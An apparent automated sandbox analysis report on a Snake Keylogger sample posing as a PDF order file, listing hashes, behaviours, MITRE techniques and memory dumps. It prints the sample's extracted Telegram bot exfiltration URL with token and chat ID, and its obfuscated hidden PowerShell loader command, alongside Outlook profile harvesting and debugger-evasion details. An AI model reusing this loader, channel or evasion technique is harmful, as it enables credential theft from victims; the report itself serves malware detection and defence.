snakekeylogger | 0caac3bbfaa97a7bbb02edb38c052afe206b3b02dae196b523b04b8ff3b108d7

Analysis

max time kernel
149s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
13-11-2024 07:19

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General

Target

Order88983273293729387293828PDF.exe
Size

696KB
MD5

fc3c5c65e7e4273fafe635355850a280
SHA1

5d177e7833b900867c6cdcf688c67eaed267adc9
SHA256

0caac3bbfaa97a7bbb02edb38c052afe206b3b02dae196b523b04b8ff3b108d7
SHA512

adb239e96b1a26577a56a4c695ba9b209684dbd4f2bf1a22c7a237886d98377982ef0ad4a34309127637c11de95ee5dec7c3977111c78b98e269de96a6fc4beb
SSDEEP

12288:G0mnA1zzwfuh5m0yZ5p1qNy7hAEav4So+r9t3DSDb4N7:uA1zzwfxZzM8AEav4NU3ewF

Score

10^/10

snakekeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot7610532139:AAFiI3HHwFD6pWziyPu3lWJbRKPQtz0nD2c/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 2 IoCs

resource	yara_rule
behavioral2/memory/4072-67-0x0000000000EC0000-0x0000000002114000-memory.dmp	family_snakekeylogger
behavioral2/memory/4072-68-0x0000000000EC0000-0x0000000000EE6000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4120	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

Blocklisted process makes network request 4 IoCs

flow	pid	Process
20	4072	msiexec.exe
22	4072	msiexec.exe
27	4072	msiexec.exe
42	4072	msiexec.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
21	checkip.dyndns.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
4072	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4120	powershell.exe
4072	msiexec.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\propangas.lem	Order88983273293729387293828PDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Order88983273293729387293828PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4120	powershell.exe
4072	msiexec.exe
4072	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4120	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeIncreaseQuotaPrivilege	4120	powershell.exe
Token: SeSecurityPrivilege	4120	powershell.exe
Token: SeTakeOwnershipPrivilege	4120	powershell.exe
Token: SeLoadDriverPrivilege	4120	powershell.exe
Token: SeSystemProfilePrivilege	4120	powershell.exe
Token: SeSystemtimePrivilege	4120	powershell.exe
Token: SeProfSingleProcessPrivilege	4120	powershell.exe
Token: SeIncBasePriorityPrivilege	4120	powershell.exe
Token: SeCreatePagefilePrivilege	4120	powershell.exe
Token: SeBackupPrivilege	4120	powershell.exe
Token: SeRestorePrivilege	4120	powershell.exe
Token: SeShutdownPrivilege	4120	powershell.exe
Token: SeDebugPrivilege	4120	powershell.exe
Token: SeSystemEnvironmentPrivilege	4120	powershell.exe
Token: SeRemoteShutdownPrivilege	4120	powershell.exe
Token: SeUndockPrivilege	4120	powershell.exe
Token: SeManageVolumePrivilege	4120	powershell.exe
Token: 33	4120	powershell.exe
Token: 34	4120	powershell.exe
Token: 35	4120	powershell.exe
Token: 36	4120	powershell.exe
Token: SeDebugPrivilege	4072	msiexec.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2588 wrote to memory of 4120	2588	Order88983273293729387293828PDF.exe	86
PID 2588 wrote to memory of 4120	2588	Order88983273293729387293828PDF.exe	86
PID 2588 wrote to memory of 4120	2588	Order88983273293729387293828PDF.exe	86
PID 4120 wrote to memory of 4072	4120	powershell.exe	95
PID 4120 wrote to memory of 4072	4120	powershell.exe	95
PID 4120 wrote to memory of 4072	4120	powershell.exe	95
PID 4120 wrote to memory of 4072	4120	powershell.exe	95

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	msiexec.exe

C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe
"C:\Users\Admin\AppData\Local\Temp\Order88983273293729387293828PDF.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2588
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Polyorganic=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Preallot.Fer';$Didepside=$Polyorganic.SubString(54845,3);.$Didepside($Polyorganic)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4120
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Accesses Microsoft Outlook profiles
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - outlook_office_path
    - outlook_win_path
    PID:4072

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Preallot.Fer

Filesize
53KB

MD5
ab917b684f578574a32d681b79310931

SHA1
4646d2ee1e976e7a38d69eaf3b76650338e99072

SHA256
2ef655a8f10840167370d2903c93bc173b78462bcfd776652dc2655d8e4670c1

SHA512
6085fcf5e4c7ffb86abcf2a9b11f5e7881944b688c4d8bbb4f283b417da3e681fc60277620b7b351aff9fefa6db7d917006fc5f9d3959822db8f79f5f18aabd7

Download Submit
C:\Users\Admin\AppData\Local\Nightingalize\intubation\Pjattehoveder\Venstresummen.Biv

Filesize
334KB

MD5
da9139fca721e05572b677d5ce18f669

SHA1
ad634b3b982bfbb95d3eae64134c358bdb0989b6

SHA256
a49bbf66719daea9be47cd77294a9950579f1c6c8d7a117ae86b64a0f3df22b3

SHA512
94a9ad0370aaa61e00cea1bca13fb505b2673964ff3186622b045b4aee363a09b2dead6de831a71ecac8af6ea002a58d80d4b8af109306db4d295299315005be

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3t01cu1h.pe1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4072-76-0x0000000023B30000-0x0000000023B3A000-memory.dmp

Filesize
40KB

Download
memory/4072-75-0x0000000023BD0000-0x0000000023C62000-memory.dmp

Filesize
584KB

Download
memory/4072-72-0x0000000023D00000-0x0000000023EC2000-memory.dmp

Filesize
1.8MB

Download
memory/4072-71-0x0000000023AE0000-0x0000000023B30000-memory.dmp

Filesize
320KB

Download
memory/4072-69-0x0000000022EA0000-0x0000000022F3C000-memory.dmp

Filesize
624KB

Download
memory/4072-68-0x0000000000EC0000-0x0000000000EE6000-memory.dmp

Filesize
152KB

Download
memory/4072-67-0x0000000000EC0000-0x0000000002114000-memory.dmp

Filesize
18.3MB

Download
memory/4120-47-0x00000000075B0000-0x00000000075BA000-memory.dmp

Filesize
40KB

Download
memory/4120-52-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-26-0x0000000006FC0000-0x0000000007056000-memory.dmp

Filesize
600KB

Download
memory/4120-27-0x0000000006540000-0x000000000655A000-memory.dmp

Filesize
104KB

Download
memory/4120-28-0x0000000006560000-0x0000000006582000-memory.dmp

Filesize
136KB

Download
memory/4120-29-0x0000000007610000-0x0000000007BB4000-memory.dmp

Filesize
5.6MB

Download
memory/4120-24-0x0000000005FF0000-0x000000000600E000-memory.dmp

Filesize
120KB

Download
memory/4120-31-0x0000000008240000-0x00000000088BA000-memory.dmp

Filesize
6.5MB

Download
memory/4120-34-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-33-0x000000006FED0000-0x000000006FF1C000-memory.dmp

Filesize
304KB

Download
memory/4120-32-0x0000000007440000-0x0000000007472000-memory.dmp

Filesize
200KB

Download
memory/4120-35-0x0000000070040000-0x0000000070394000-memory.dmp

Filesize
3.3MB

Download
memory/4120-46-0x00000000074B0000-0x0000000007553000-memory.dmp

Filesize
652KB

Download
memory/4120-45-0x0000000007480000-0x000000000749E000-memory.dmp

Filesize
120KB

Download
memory/4120-6-0x0000000073A4E000-0x0000000073A4F000-memory.dmp

Filesize
4KB

Download
memory/4120-48-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-49-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-50-0x0000000007D00000-0x0000000007D2A000-memory.dmp

Filesize
168KB

Download
memory/4120-51-0x0000000007D30000-0x0000000007D54000-memory.dmp

Filesize
144KB

Download
memory/4120-25-0x00000000060A0000-0x00000000060EC000-memory.dmp

Filesize
304KB

Download
memory/4120-54-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-23-0x00000000059F0000-0x0000000005D44000-memory.dmp

Filesize
3.3MB

Download
memory/4120-56-0x0000000073A4E000-0x0000000073A4F000-memory.dmp

Filesize
4KB

Download
memory/4120-57-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-58-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-59-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-61-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-60-0x00000000088C0000-0x000000000B89E000-memory.dmp

Filesize
47.9MB

Download
memory/4120-62-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-63-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-64-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-66-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-13-0x00000000052C0000-0x0000000005326000-memory.dmp

Filesize
408KB

Download
memory/4120-12-0x0000000005250000-0x00000000052B6000-memory.dmp

Filesize
408KB

Download
memory/4120-11-0x0000000004FB0000-0x0000000004FD2000-memory.dmp

Filesize
136KB

Download
memory/4120-10-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-8-0x0000000073A40000-0x00000000741F0000-memory.dmp

Filesize
7.7MB

Download
memory/4120-9-0x0000000005340000-0x0000000005968000-memory.dmp

Filesize
6.2MB

Download
memory/4120-7-0x0000000002650000-0x0000000002686000-memory.dmp

Filesize
216KB

Download